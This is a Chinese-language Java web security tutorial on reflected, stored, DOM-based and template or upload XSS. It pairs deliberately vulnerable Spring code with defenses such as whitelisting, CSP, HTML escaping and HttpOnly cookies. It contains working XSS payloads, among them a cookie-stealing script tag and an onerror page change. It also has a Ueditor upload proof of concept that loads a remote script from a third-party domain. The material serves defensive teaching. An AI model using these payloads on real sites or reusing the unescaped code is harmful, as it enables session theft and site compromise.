JavaSec-XSS

news2025/6/7 14:07:12

反射型XSS

简介

XSS(跨站脚本攻击)利用浏览器对服务器内容的信任,攻击者通过在网页中注入恶意脚本,使这些脚本在用户的浏览器上执行,从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站,以及执行恶意操作(如点击劫持和钓鱼攻击)
  反射型XSS:攻击者通过在URL参数中注入恶意脚本,使服务器将该脚本直接反射回用户浏览器并执行。该攻击一般不涉及数据库,而是通过服务器处理用户请求时立即返回恶意内容

1.GET型

1.探测漏洞标签(用来测试是否存在漏洞)

123<u>A</u>123

1.恶意流量劫持

重定向恶意网站-SEO引流<a href=javascript:window.location.href='http://bilibili.com'>Click Me</a>

其中里面的http://bilibili.com可以替换成实际要攻击的网站

我们点击,发现跳转到b站了

2.窃取用户信息

<a href='/other/cookie.txt' target='_blank'>点击查看</a><script src='/static/js/hackcookie.js'></script>

点击进行查看

发现存在用户ip和cookie等敏感信息

3.篡改网页内容

修改背景颜色为红色<img src οnerrοr=javascript:document.getElementsByClassName('layuimini-container')[0].style.backgroundColor='red'>

POST型同上

2.String型

发现直接弹出页面

缺陷代码

// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果
public R vul1(String content) {
    return R.ok(content);
}
// R 是对返回结果的封装工具util
// 返回结果:
// {
//     "msg": "<script>alert(document.cookie)</script>",
//     "code": 0
// }
// payload在json中是不会触发xss的 需要解析到页面中

// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果
public String vul2(String content) {
    return content;
}

3.Content-Type问题

1.textplain: 浏览器在获取到这种文件时并不会对其进行处理,将文件设置为纯文本的形式

2.texthtml:浏览器在获取到这种文件时会自动调用html的解析器对文件进行相应的处理

缺陷代码

// Tomcat内置HttpServletResponse,Content-Type导致反射XSS
public void vul3(String type,String content, HttpServletResponse response) {
    switch (type) {
        case "html":
            response.getWriter().print(content);
            response.setContentType("text/html;charset=utf-8");
            response.getWriter().flush();
            break;
        case "plain":
            response.getWriter().print(content);
            response.setContentType("text/plain;charset=utf-8");
            response.getWriter().flush();
            ...
    }
}

4.安全场景

1.用户输入验证和过滤

前端白名单:在前端代码中执行,用于过滤或验证用户输入的数据,UI友好,不安全,容易被绕过
后端白名单:后端业务逻辑处理或数据支持化层面执行,更安全,不易绕过

安全代码

// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据
// 前端校验代码
var whitelistRegex = /^[a-zA-Z0-9_\s]+$/;

// 检查输入值是否符合白名单要求
if (!whitelistRegex.test(value)) {
	layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});
	return false; // 取消表单提交
    } else {
    	// 正常发送请求
    }

// 后端校验代码
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);

Matcher matcher = pattern.matcher(content);
if (matcher.matches()){
    return R.ok(content);
}else return R.error("输入内容包含非法字符,请检查输入");

2.内容安全策略-CSP防护

内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁
  核心原理:网站通过发送一个CSP header头部(也可以在html直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行
  CSP 指令说明:
    default-src: 指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令
    script-src: 指定允许加载 JavaScript 的来源
    style-src: 指定允许加载样式表的来源
    img-src: 指定允许加载图片的来源
    connect-src: 指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)

安全代码

// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行
// 前端Meta配置
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https://*.example.com;">


// 后端Header配置
public String safe2(String content,HttpServletResponse response) {
    response.setHeader("Content-Security-Policy","default-src self");
    return content;
}

3.特殊字符实体转义

实体编码(Entity Encoding)是一种将特殊字符转换为HTML实体的过程,以确保这些字符能够在HTML文档中正确显示而不会被解释为HTML标记。
常见的实体编码包括将 < 转换为 &lt; 将 > 转换为 &gt; 等。
PS:这里前端实体编码Demo放到了存储型XSS模块中

安全代码

// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程
// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞
public R safe3(@ApiParam(String type, String content) {
    String filterContented = "";
    switch (type){
        case "manual":
            content = StringUtils.replace(content, "&", "&amp;");
            content = StringUtils.replace(content, "<", "&lt;");
            content = StringUtils.replace(content, ">", "&gt;");
            content = StringUtils.replace(content, "\"", "&quot;");
            content = StringUtils.replace(content, "'", "&#x27;");
            content = StringUtils.replace(content, "/", "&#x2F;");
            filterContented = content;
            break;
        case "spring":
            filterContented = HtmlUtils.htmlEscape(content);
            break;
            ...
    }
}

4.HttpOnly配置

单个接口配置:并非所有的cookie都必须设置为HttpOnly,可能有一些cookie是需要客户端JavaScript访问的,例如用于前端操作或分析目的的cookie
  全局配置场景:在整个应用程序中所有的cookie都具有HttpOnly属性,可以考虑在全局配置中进行设置
使用HttpOnly并不是绝对安全的,以下三个场景还是会存在安全问题:
    1、当攻击者使用CSRF+XSS进行攻击时,可绕过绕过浏览器的安全限制
    2、中间人攻击
    3、恶意浏览器插件

安全代码

// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险
// 单个接口配置
public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {
    Cookie cookie = request.getCookies()[ueditor];
    cookie.setHttpOnly(true); // 设置为 HttpOnly
    cookie.setMaxAge(600);  // 这里设置生效时间为十分钟
    cookie.setPath("/");
    response.addCookie(cookie);
    return R.ok(content);
}

// 全局配置
// ueditor、application.yml配置
server:
  servlet:
    session:
      cookie:
        http-only: true

// 2、Springboot配置类
@Configuration
public class ServerConfig {
    @Bean
    public WebServerFactoryCustomizer<ConfigurableWebServerFactory> webServerFactoryCustomizer() {
        return factory -> {
            Session session = new Session();
            session.getCookie().setHttpOnly(true);
            factory.setSession(session);
            ...
}

存储型XSS

简介

存储型XSS:攻击者将恶意脚本上传到目标网站的数据库,用户访问网站时执行这些恶意脚本,达到攻击目的。该攻击经过服务器和数据库

1.漏洞场景:原生无过滤

漏洞场景:
    用户交互的地方:get、post、headers、反馈与浏览、富文本编辑器、标签插入和自定义
    数据输出的地方:用户资料、关键词、评论、留言、关键词、标签、说明、文件上传

缺陷代码

/ 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中
// Controller层
public R vul(String content,HttpServletRequest request) {
    String ua = request.getHeader("User-Agent");
    final int code = xssService.insertOne(content,ua);
    ...
}
// Service层
public int insertOne(String content, String ua) {
    final int code = xssMapper.insertAll(content,ua,DateUtil.now());
    return code;
}
// Mapper层
int insertAll(String content,String ua,String date);

<insert id="insertAll">
    insert into xss
        (content,ua, date)
    values (#{content,jdbcType=VARCHAR},#{ua,jdbcType=VARCHAR}, #{date,jdbcType=VARCHAR})
</insert>

2.安全场景:前端实体转义

前端实体转义就是将可能是包含HTML标签的内容,先中转存储为纯文本,当浏览器进行渲染时,会将纯文本内容中特殊字符进行实体转义(浏览器策略),确保可以正确展示

// 表格数据渲染
table.render({
	...
    cols: [
        {field: 'id', title: 'ID', sort: true, width: '60', fixed: 'left'},
        {field: 'content', title: 'Content', width: '200', templet: function(d){
                return escapeHtml(d.content); 
            }},
        {field: 'ua', title: 'User-Agent', width: '200', templet: function(d){
                return escapeHtml(d.ua); 
            }},
      	...
// 方法一、HTML 实体转义函数
function escapeHtml(html) {
    var text = document.createElement("textarea");
    text.textContent = html;
    return text.innerHTML;
}
// 方法二、JavaScript的文本节点
var textNode = document.createTextNode(htmlContent);
element.appendChild(textNode);
// 方法三、jQuery的text()方法
$('#element').text(htmlContent);

DOM型XSS

1.简介

DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口 DOM型XSS:攻击者利用客户端的DOM环境,通过操纵页面的DOM元素来注入和执行恶意脚本。该攻击不经过服务器和数据库

一些可能导致DOM XSS的SINK点:
    document.write()
    document.writeln()
    document.domain
    element.innerHTML
    element.outerHTML
    element.insertAdjacentHTML
    element.onevent
PS:除此之外,还有URL参数注入、DOM属性注入、document.write、eval等场景,后续会进行补充

其他类型

简介

包含模版引擎解析问题、文件上传特殊文件类型、第三方依赖问题(供应链安全)...

1.漏洞场景:模版引擎解析问题

th:text用于展示纯文本,会对特殊字符进行转义
th:utext则不进行转义,直接展示原始HTML内容
当获取后端传来的参数中带有HTML标签时,th:text不会解析这些标签,而th:utext 会解析并渲染它们。这类似于Vue中的v-text和v-html

缺陷代码

public String handleTemplateInjection(String content,String type, Model model) {
    if ("html".equals(type)) {
        model.addAttribute("html", content);
    } else if ("text".equals(type)) {
        model.addAttribute("text", content);
    }
    return "vul/xss/other";
}

<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;">
        <p th:utext="${html}"></p>
        <p th:text="${text}"></p>
</div>

2.漏洞场景:文件上传导致存储XSS

除了文件上传导致存储XSS,xml场景下还需要后端进行xml解析
这里PDF型XSS实际是没有危害的,考虑到合规监管问题,还是放上去了
PS:除此之外,还有flash等漏洞场景,后续会补充

缺陷代码

public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {
    String uploadFolderPath = sysConstant.getUploadFolder();
    try {
        String fileName = +DateUtil.current() + "."+suffix;
        String newFilePath = uploadFolderPath + "/" + fileName;

        file.transferTo(new File(newFilePath)); // 将文件保存到指定路径
        log.info("上传文件成功,文件路径:" + newFilePath);
        return "上传文件成功,文件路径:" + path + fileName;
    } catch (IOException e) {
        e.printStackTrace(); // 打印异常堆栈信息
        log.info("文件上传失败" + e.getMessage());
        return "文件上传失败" + e.getMessage();
    }
}

3.漏洞场景:第三方组件导致XSS-供应链安全

为什么要单独抽出来呢?
  这里的XSS场景可以看出是由第三方组件导致的,也就引出了所谓的供应链安全(当然不止这些)
风险识别与修复方案?
  一般企业在DevOps流水线中会嵌入相关安全扫描环境(SCA、SAST、IAST……)进行应用安全扫描
  针对供应链安全,可使用专门的SCA工具进行软件成分扫描,升级到修复版本或采用非升级修复方案

1.jQuery

在版本[1.2,3.5.0)范围内存在多个XSS漏洞 eg:

CVE-2020-11022

CVE-2020-11023

2.Swagger-ui

在版本内[3.14.1,3.38.0)范围内存在XSS漏洞

3.Ueditor编辑器

poc

拼接路径/ueditor/php/controller.php?action=uploadfile

Content-Disposition: form-data; name="upfile"; filename="1.xml"
Content-Type: image/png
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml" src="https://xcjh.ahredcross.org.cn/ueditor/upload/image/20240723/6385736220575785005385782.js">
</something:script>
</body>
</html>



或者
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Length: 348
>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Disposition: form-data; name="upfile"; filename="1.xml"
> Content-Type: image/png
>
> <html>
> <head></head>
> <body>
> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
> </something:script>
> </body>
> </html>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ--
> -----------------------

缺陷代码

// jQuery依赖
<head>
  <meta charset="utf-8">
  <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
  <!-- 测试JQuery -->
  <script src="/lib/jquery-1.6.1.js"></script>
  <!-- <script src="./jquery.min.js"></script> -->
</head>

<!--swagger依赖-->
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-boot-starter</artifactId>
    <version>3.0.0</version>	// 该版本存在xss
</dependency>

// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2401505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

echarts在uniapp中使用安卓真机运行时无法显示的问题

文章目录 一、实现效果二、话不多说&#xff0c;上源码 前言&#xff1a;我们在uniapp中开发的时候&#xff0c;开发的时候很正常&#xff0c;echarts的图形在h5页面上也是很正常的&#xff0c;但是当我们打包成安卓app或者使用安卓真机运行的时候&#xff0c;图形根本就没有渲…

STM32----IAP远程升级

一、概述&#xff1a; IAP&#xff0c;全称是“In-Application Programming”&#xff0c;中文解释为“在程序中编程”。IAP是一种对通过微控制器的对外接口&#xff08;如USART&#xff0c;IIC&#xff0c;CAN&#xff0c;USB&#xff0c;以太网接口甚至是无线射频通道&#…

C++优选算法 904. 水果成篮

文章目录 1.题目描述2.算法思路 3.完整代码容器做法数组做法 1.题目描述 看到这种题目&#xff0c;总觉得自己在做阅读理解&#xff0c;晕了&#xff0c;题目要求我们在一个数组里分别找出两种数字&#xff0c;并统计这两种数字分别出现一共是多少。 2.算法思路 采用哈希表滑…

Python6.5打卡(day37)

DAY 37 早停策略和模型权重的保存 知识点回顾&#xff1a; 过拟合的判断&#xff1a;测试集和训练集同步打印指标模型的保存和加载 仅保存权重保存权重和模型保存全部信息checkpoint&#xff0c;还包含训练状态 早停策略 作业&#xff1a;对信贷数据集训练后保存权重&#xf…

大中型水闸安全监测管理系统建设方案

一、背景介绍 我国现已建成流量5m/s及以上的水闸共计100321座。其中&#xff0c;大型水闸923座&#xff0c;中型水闸6,697座。按功能类型划分&#xff0c;分洪闸8193座&#xff0c;排&#xff08;退&#xff09;水闸17808座&#xff0c;挡潮闸4955座&#xff0c;引水闸13796座&…

风控研发大数据学习路线

在如今信息爆炸时代&#xff0c;风控系统离不开大数据技术的支撑&#xff0c;大数据技术可以帮助风控系统跑的更快&#xff0c;算的更准。因此&#xff0c;风控技术研发需要掌握大数据相关技术。然而大数据技术栈内容庞大丰富&#xff0c;风控研发同学很可能会面临以下这些痛点…

【设计模式】门面/外观模式

MySQL &#xff0c;MyTomcat 的启动 现在有 MySQL &#xff0c;MyTomcat 类&#xff0c;需要依次启动。 public class Application {public static void main(String[] args) {MySQL mySQL new MySQL();mySQL.initDate();mySQL.checkLog();mySQL.unlock();mySQL.listenPort(…

spring的webclient与vertx的webclient的比较

Spring WebClient 和 Vert.x WebClient 都是基于响应式编程模型的非阻塞 HTTP 客户端&#xff0c;但在设计理念、生态整合和适用场景上存在显著差异。以下是两者的核心比较&#xff1a; &#x1f504; 1. 技术背景与架构 • Spring WebClient ◦ 生态定位&#xff1a;属于 Sp…

贪心算法应用:埃及分数问题详解

贪心算法与埃及分数问题详解 埃及分数&#xff08;Egyptian Fractions&#xff09;问题是数论中的经典问题&#xff0c;要求将一个真分数表示为互不相同的单位分数之和。本文将用2万字全面解析贪心算法在埃及分数问题中的应用&#xff0c;涵盖数学原理、算法设计、Java实现、优…

高效集成AI能力:使用开放API打造问答系统,不用训练模型,也能做出懂知识的AI

本文为分享体验感受&#xff0c;非广告。 一、蓝耘平台核心功能与优势 丰富的模型资源库 蓝耘平台提供涵盖自然语言处理、计算机视觉、多模态交互等领域的预训练模型&#xff0c;支持用户直接调用或微调&#xff0c;无需从零开始训练&#xff0c;显著缩短开发周期。 高性能…

Qt 仪表盘源码分享

Qt 仪表盘源码分享 一、效果展示二、优点三、源码分享四、使用方法 一、效果展示 二、优点 直观性 数据以图表或数字形式展示&#xff0c;一目了然。用户可以快速获取关键信息&#xff0c;无需深入阅读大量文字。 实时性 仪表盘通常支持实时更新&#xff0c;确保数据的时效性。…

Python数据可视化科技图表绘制系列教程(四)

目录 带基线的棒棒糖图1 带基线的棒棒糖图2 带标记的棒棒糖图 哑铃图1 哑铃图2 包点图1 包点图2 雷达图1 雷达图2 交互式雷达图 【声明】&#xff1a;未经版权人书面许可&#xff0c;任何单位或个人不得以任何形式复制、发行、出租、改编、汇编、传播、展示或利用本博…

深入理解系统:UML类图

UML类图 类图&#xff08;class diagram&#xff09; 描述系统中的对象类型&#xff0c;以及存在于它们之间的各种静态关系。 正向工程&#xff08;forward engineering&#xff09;在编写代码之前画UML图。 逆向工程&#xff08;reverse engineering&#xff09;从已有代码建…

软件工程的定义与发展历程

文章目录 一、软件工程的定义二、软件工程的发展历程1. 前软件工程时期(1940s-1960s)2. 软件工程诞生(1968)3. 结构化方法时期(1970s)4. 面向对象时期(1980s)5. 现代软件工程(1990s-至今) 三、软件工程的发展趋势 一、软件工程的定义 软件工程是应用系统化、规范化、可量化的方…

第十三节:第五部分:集合框架:集合嵌套

集合嵌套案例分析 代码&#xff1a; package com.itheima.day27_Collection_nesting;import java.util.*;/*目标:理解集合的嵌套。 江苏省 "南京市","扬州市","苏州市","无锡市","常州市" 湖北省 "武汉市","…

Java设计模式之观察者模式详解

一、观察者模式简介 观察者模式&#xff08;Observer Pattern&#xff09;是一种行为型设计模式&#xff0c;它定义了对象之间的一对多依赖关系。当一个对象&#xff08;主题&#xff09;的状态发生改变时&#xff0c;所有依赖于它的对象&#xff08;观察者&#xff09;都会自…

freeRTOS 消息队列之一个事件添加到消息队列超时怎么处理

一 消息队列的结构框图 xTasksWaitingToSend‌&#xff1a;这个列表存储了所有因为队列已满而等待发送消息的任务。当任务尝试向一个已满的队列发送消息时&#xff0c;该任务会被挂起并加入到xTasksWaitingToSend列表中&#xff0c;直到队列中有空间可用‌&#xff0c; xTasksW…

Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )

目录 &#x1f50d; 1. Authpf概述与Shell设置的作用 什么是Authpf&#xff1f; Shell设置为/usr/sbin/authpf的作用与含义 &#x1f6e0;️ 2. Authpf工作原理与防火墙绕过机制 技术栈 工作原理 防火墙绕过机制 Shell关联 &#x1f310; 3. Authpf与SSH认证及服务探测…

组合与排列

组合与排列主要有两个区别&#xff0c;区别在于是否按次序排列和符号表示不同。 全排列&#xff1a; 从n个不同元素中任取m&#xff08;m≤n&#xff09;个元素&#xff0c;按照一定的顺序排列起来&#xff0c;叫做从n个不同元素中取出m个元素的一个排列。当mn时所有的排列情况…

Apache Druid

目录 Apache Druid是什么&#xff1f; CVE-2021-25646(Apache Druid代码执行漏洞) Apache Druid是什么&#xff1f; Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据&#xff0c;并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据…